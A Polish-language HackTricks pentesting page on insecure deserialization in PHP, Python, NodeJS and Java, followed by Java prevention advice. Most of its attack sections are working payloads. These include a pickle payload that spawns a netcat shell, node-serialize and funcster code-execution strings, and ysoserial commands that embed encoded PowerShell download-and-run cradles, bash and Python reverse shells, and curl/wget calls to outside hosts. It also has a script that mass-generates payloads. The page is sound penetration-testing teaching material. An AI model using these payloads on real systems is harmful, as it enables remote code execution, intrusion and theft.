hacktricks/pentesting-web/deserialization
2024-06-05 13:51:20 +00:00
..
nodejs-proto-prototype-pollution Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
basic-java-deserialization-objectinputstream-readobject.md Translated to Polish 2024-02-11 01:46:25 +00:00
exploiting-__viewstate-knowing-the-secret.md Translated to Polish 2024-02-11 01:46:25 +00:00
exploiting-__viewstate-parameter.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
java-dns-deserialization-and-gadgetprobe.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
java-jsf-viewstate-.faces-deserialization.md Translated to Polish 2024-02-11 01:46:25 +00:00
java-transformers-to-rutime-exec-payload.md Translated to Polish 2024-02-11 01:46:25 +00:00
jndi-java-naming-and-directory-interface-and-log4shell.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
php-deserialization-+-autoload-classes.md Translated to Polish 2024-02-11 01:46:25 +00:00
python-yaml-deserialization.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:51:20 +00:00

Deserializacja

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Serializacja to metoda polegająca na konwertowaniu obiektu na format, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go w ramach procesu komunikacji. Ta technika jest powszechnie stosowana, aby zapewnić, że obiekt można odtworzyć w późniejszym czasie, zachowując jego strukturę i stan.

Deserializacja, z kolei, to proces przeciwny do serializacji. Polega na pobraniu danych, które zostały sformatowane w określonym formacie i odtworzeniu ich z powrotem jako obiekt.

Deserializacja może być niebezpieczna, ponieważ potencjalnie pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu lub wywołania nieoczekiwanego zachowania w aplikacji podczas procesu odtwarzania obiektu.

PHP

W PHP podczas procesów serializacji i deserializacji wykorzystuje się konkretne magiczne metody:

  • __sleep: Wywoływana podczas serializacji obiektu. Ta metoda powinna zwrócić tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań czyszczących.
  • __wakeup: Wywoływana podczas deserializacji obiektu. Służy do ponownego nawiązania połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań ponownej inicjalizacji.
  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje ona większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.
  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj jest używana do zadań czyszczących, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.
  • __toString: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytywania pliku lub innych zadań opartych na wywołaniach funkcji wewnątrz niej, efektywnie dostarczając tekstową reprezentację obiektu.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Jeśli spojrzysz na wyniki, zobaczysz, że funkcje __wakeup i __destruct są wywoływane podczas deserializacji obiektu. Zauważ, że w kilku samouczkach znajdziesz, że funkcja __toString jest wywoływana podczas próby wydrukowania pewnego atrybutu, ale najwyraźniej to już się nie dzieje.

{% hint style="warning" %} Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup() jeśli jest zaimplementowana w klasie. Pozwala ona na deserializację obiektu, dostarczając dane zserializowane jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonać wszelkie konieczne czynności podczas deserializacji.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Możesz przeczytać wyjaśniony przykład PHP tutaj: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, tutaj https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf lub tutaj https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Deserializacja PHP + Klasy Autoload

Możesz nadużyć funkcjonalności automatycznego ładowania w PHP do wczytywania dowolnych plików PHP i nie tylko:

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Serializacja Wartości z Referencjami

Jeśli z jakiegoś powodu chcesz zserializować wartość jako referencję do innej zserializowanej wartości, możesz to zrobić:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial dla PHP)

PHPGGC może pomóc w generowaniu ładunków w celu nadużycia deserializacji w PHP.
Zauważ, że w wielu przypadkach nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz nadużyć kod zewnętrznych rozszerzeń PHP.
Dlatego, jeśli możesz, sprawdź phpinfo() serwera i szukaj w internecie (nawet w gadżetach z PHPGGC) możliwych gadżetów, których możesz nadużyć.

Deserializacja metadanych phar://

Jeśli znalazłeś LFI, który tylko czyta plik i nie wykonuje w nim kodu PHP, na przykład za pomocą funkcji takich jak file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize(). Możesz spróbować nadużyć deserializacji, która występuje podczas odczytywania pliku za pomocą protokołu phar.
Aby uzyskać więcej informacji, przeczytaj następujący post:

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Gdy obiekt zostanie odblokowany, zostanie wykonana funkcja __reduce__.
W przypadku wykorzystania, serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Dla dalszych informacji na temat ucieczki z więzień pickle, sprawdź:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

Następna strona prezentuje technikę wykorzystania niebezpiecznej deserializacji w bibliotekach pythona obsługujących yamle i kończy się narzędziem, które można użyć do generowania ładunków deserializacji RCE dla Pickle, PyYAML, jsonpickle i ruamel.yaml:

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Zanieczyszczenie klasy (Python Prototype Pollution)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Magiczne funkcje JS

JS nie ma "magicznych" funkcji jak PHP czy Python, które zostaną wykonane tylko w celu utworzenia obiektu. Ale ma kilka funkcji, które są często używane nawet bez bezpośredniego ich wywoływania, takich jak toString, valueOf, toJSON.
Wykorzystując deserializację, możesz zakłócić te funkcje, aby wykonać inny kod (potencjalnie wykorzystując zanieczyszczenia prototypów), co pozwoli ci wykonać dowolny kod podczas ich wywoływania.

Innym "magicznym" sposobem wywołania funkcji bez bezpośredniego jej wywoływania jest zakłócenie obiektu zwracanego przez funkcję asynchroniczną (promise). Ponieważ, jeśli przekształcisz ten obiekt zwracany w inny promise z właściwością o nazwie "then" typu funkcja, zostanie wykonany tylko dlatego, że jest zwracany przez inny promise. Zajrzyj pod ten link dla więcej informacji.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Zanieczyszczenie __proto__ i prototype

Jeśli chcesz dowiedzieć się więcej o tej technice, zapoznaj się z następującym samouczkiem:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Ta biblioteka pozwala na serializację funkcji. Przykład:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Obiekt zserializowany będzie wyglądać następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

W przykładzie widać, że gdy funkcja jest serializowana, do obiektu serializowanego dodawana jest flaga _$$ND_FUNC$$_.

W pliku node-serialize/lib/serialize.js można znaleźć tę samą flagę i sposób jej użycia w kodzie.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, używane jest eval do deserializacji funkcji, więc w zasadzie wejście użytkownika jest używane wewnątrz funkcji eval.

Jednakże, tylko serializacja funkcji nie spowoduje jej wykonania, ponieważ konieczne byłoby, aby jakiś fragment kodu wywołał y.rce w naszym przykładzie, co jest mało prawdopodobne.
W każdym razie, można zmodyfikować serializowany obiekt dodając nawiasy w celu automatycznego wykonania zserializowanej funkcji podczas deserializacji obiektu.
W następnym fragmencie kodu zauważ ostatni nawias i sposób, w jaki funkcja unserialize automatycznie wykona kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Jak wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go za pomocą eval. Dlatego, aby automatycznie wykonać kod, można usunąć część tworzenia funkcji oraz ostatni nawias i po prostu wykonać jednoliniowy kod JS jak w poniższym przykładzie:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Możesz znaleźć tutaj dalsze informacje na temat sposobu wykorzystania tej podatności.

funcster

Wartościowym aspektem funcstera jest niedostępność standardowych obiektów wbudowanych; wypadają one poza dostępnym zakresem. To ograniczenie uniemożliwia wykonanie kodu próbującego wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak "ReferenceError: console is not defined", gdy używane są polecenia typu console.log() lub require(something).

Mimo tego ograniczenia, przywrócenie pełnego dostępu do globalnego kontekstu, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki określonej metodzie. Korzystając bezpośrednio z globalnego kontekstu, można ominąć to ograniczenie. Na przykład dostęp można przywrócić za pomocą następującego fragmentu:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji przeczytaj ten źródło.

serialize-javascript

Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serializacji, nie posiada wbudowanych funkcji deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. Bezpośrednie użycie eval jest sugerowane przez oficjalny przykład deserializacji danych zserializowanych:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Jeśli ta funkcja jest używana do deserializacji obiektów, możesz to łatwo wykorzystać:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Aby uzyskać więcej informacji przeczytaj ten źródło.

Biblioteka Cryo

Na następnych stronach znajdziesz informacje na temat nadużywania tej biblioteki do wykonywania dowolnych poleceń:

Java - HTTP

W Javie wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji. To wykonanie może być wykorzystane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.

Odciski palców

White Box

Aby zidentyfikować potencjalne podatności na serializację w kodzie, wyszukaj:

  • Klasy implementujące interfejs Serializable.
  • Użycie funkcji java.io.ObjectInputStream, readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami zdefiniowanymi przez użytkowników zewnętrznych.
  • Metoda fromXML z XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.
  • ObjectInputStream w połączeniu z metodą readObject.
  • Implementacja metod takich jak readObject, readObjectNodData, readResolve lub readExternal.
  • ObjectInputStream.readUnshared.
  • Ogólne użycie Serializable.

Black Box

Podczas testów black box, szukaj konkretnych sygnatur lub "Magicznych bajtów", które oznaczają obiekty zserializowane w Javie (pochodzące z ObjectInputStream):

  • Wzorzec szesnastkowy: AC ED 00 05.
  • Wzorzec Base64: rO0.
  • Nagłówki odpowiedzi HTTP z ustawionym Content-type na application/x-java-serialized-object.
  • Wzorzec szesnastkowy wskazujący na wcześniejszą kompresję: 1F 8B 08 00.
  • Wzorzec Base64 wskazujący na wcześniejszą kompresję: H4sIA.
  • Pliki internetowe z rozszerzeniem .faces i parametrem faces.ViewState. Odkrycie tych wzorców w aplikacji internetowej powinno skłonić do dokładnego zbadania, jak opisano w poście dotyczącym Deserializacji Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa eksploit deserializacji w Javie, powinieneś zajrzeć do Podstawowa deserializacja w Javie, Deserializacja DNS w Javie oraz Ładunek CommonsCollection1.

Test White Box

Możesz sprawdzić, czy zainstalowana jest jakaś aplikacja znanymi podatnościami.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki uznane za podatne, na które Ysoserial może dostarczyć exploit. Możesz także sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet.
Możesz również użyć gadgetinspector, aby wyszukać możliwe łańcuchy gadżetów, które można wykorzystać.
Podczas uruchamiania gadgetinspector (po jego zbudowaniu) nie przejmuj się ilością ostrzeżeń/błędów, przez które przechodzi, pozwól mu zakończyć. Wszystkie znalezione informacje zostaną zapisane w gadgetinspector/gadget-results/gadget-chains-rok-miesiąc-dzień-godzina-minuta.txt. Zauważ, że gadgetinspector nie tworzy exploitu i może wskazywać fałszywe pozytywy.

Test Czarnej Skrzynki

Korzystając z rozszerzenia Burp gadgetprobe, możesz zidentyfikować jakie biblioteki są dostępne (nawet wersje). Dzięki tym informacjom może być łatwiej wybrać payload do wykorzystania podatności.
Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe.
GadgetProbe skupia się na deserializacjach ObjectInputStream.

Korzystając z rozszerzenia Burp Java Deserialization Scanner, możesz zidentyfikować podatne biblioteki podatne na exploitowanie za pomocą ysoserial i je wykorzystać.
Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner.
Java Deserialization Scanner skupia się na deserializacjach ObjectInputStream.

Możesz także użyć Freddy, aby wykryć podatności na deserializacje w Burp. To wtyczka wykryje podatności nie tylko związane z ObjectInputStream, ale także podatności z bibliotek deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić, używając payloadów sleep lub DNS.
Więcej informacji o Freddy znajdziesz tutaj.

Test Serializacji

Nie chodzi tylko o sprawdzenie, czy serwer używa podatnej biblioteki. Czasami możesz zmienić dane wewnątrz zserializowanego obiektu i ominąć niektóre kontrole (może to dać ci uprawnienia administratora w aplikacji internetowej).
Jeśli znajdziesz zserializowany obiekt Javy wysyłany do aplikacji internetowej, możesz użyć SerializationDumper, aby wydrukować w bardziej czytelnej formie obiekt zserializowany, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i ominąć niektóre kontrole.

Exploit

ysoserial

Głównym narzędziem do eksploitacji deserializacji Javy jest ysoserial (pobierz tutaj). Możesz także rozważyć użycie ysoseral-modified, co pozwoli ci używać złożonych poleceń (z rurami na przykład).
Zauważ, że to narzędzie jest skoncentrowane na eksploatacji ObjectInputStream.
Zalecam rozpoczęcie od używania ładunku "URLDNS" przed ładunkiem RCE, aby przetestować, czy wstrzyknięcie jest możliwe. Zauważ jednak, że może się zdarzyć, że ładunek "URLDNS" nie działa, ale inny ładunek RCE tak.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Podczas tworzenia ładunku dla java.lang.Runtime.exec() nie możesz używać znaków specjalnych takich jak ">" lub "|" do przekierowywania wyniku wykonania, "$()" do wykonywania poleceń ani nawet przekazywać argumentów do polecenia oddzielonych spacjami (możesz użyć echo -n "hello world", ale nie możesz użyć python2 -c 'print "Hello world"'). Aby poprawnie zakodować ładunek, możesz skorzystać z tej strony internetowej.

Możesz swobodnie użyć poniższego skryptu do stworzenia wszystkich możliwych ładunków wykonania kodu dla systemów Windows i Linux, a następnie przetestować je na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection razem z ysoserial, aby tworzyć więcej exploitów. Więcej informacji o tym narzędziu znajdziesz w slajdach prezentacji, gdzie narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec może być używany do generowania ładunków w celu wykorzystania różnych bibliotek serializacji Json i Yml w Javie.
Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, a następnie skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Dowiedz się więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java używa dużo serializacji do różnych celów, takich jak:

  • Zapytania HTTP: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, ViewState, ciasteczkami, itp.
  • RMI (Remote Method Invocation): Protokół Java RMI, który w całości polega na serializacji, jest podstawą komunikacji zdalnej w aplikacjach Java.
  • RMI przez HTTP: Ta metoda jest powszechnie używana przez aplikacje internetowe oparte na grubej warstwie klienckiej w Javie, wykorzystując serializację do komunikacji obiektów.
  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.
  • Niestandardowe protokoły: W Javie standardową praktyką jest przesyłanie surowych obiektów Javy, co zostanie zademonstrowane w nadchodzących przykładach wykorzystania.

Zapobieganie

Obiekty przejściowe

Klasa implementująca Serializable może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować interfejs Serializable

W sytuacjach, gdy pewne obiekty muszą implementować interfejs Serializable ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie mogą być deserializowane poprzez zdefiniowanie metody final readObject(), która konsekwentnie zgłasza wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Poprawa bezpieczeństwa deserializacji w Javie

Dostosowywanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczania procesów deserializacji. Ta metoda jest odpowiednia, gdy:

  • Kod deserializacji jest pod kontrolą.
  • Klasy oczekiwane do deserializacji są znane.

Zastąp metodę resolveClass() w celu ograniczenia deserializacji tylko do dozwolonych klas. Zapobiega to deserializacji dowolnej klasy oprócz tych, które są wyraźnie zezwolone, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korzystanie z agenta Java w celu poprawy bezpieczeństwa oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie czarnolistowania szkodliwych klas, korzystając z parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny do środowisk, w których natychmiastowe zmiany w kodzie są praktycznie niemożliwe.

Sprawdź przykład w rO0 autorstwa Contrast Security

Wdrażanie filtrów serializacji: Java 9 wprowadziła filtry serializacji za pośrednictwem interfejsu ObjectInputFilter, zapewniając potężny mechanizm określania kryteriów, które muszą spełniać zserializowane obiekty przed ich deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując precyzyjną kontrolę nad procesem deserializacji.

Aby skorzystać z filtrów serializacji, można ustawić filtr globalny, który będzie stosowany do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystanie zewnętrznych bibliotek w celu zwiększenia bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontroli i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy bezpieczeństwa, takie jak tworzenie listy dozwolonych lub zabronionych klas, analizowanie obiektów zserializowanych przed deserializacją oraz implementowanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji w celu zapobiegania wykonaniu niezaufanego kodu.
  • jdeserialize umożliwia analizę obiektów zserializowanych w Javie bez ich deserializacji, pomagając zidentyfikować potencjalnie złośliwe treści.
  • Kryo to alternatywny framework serializacji, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Odnośniki

Wstrzykiwanie JNDI i log4Shell

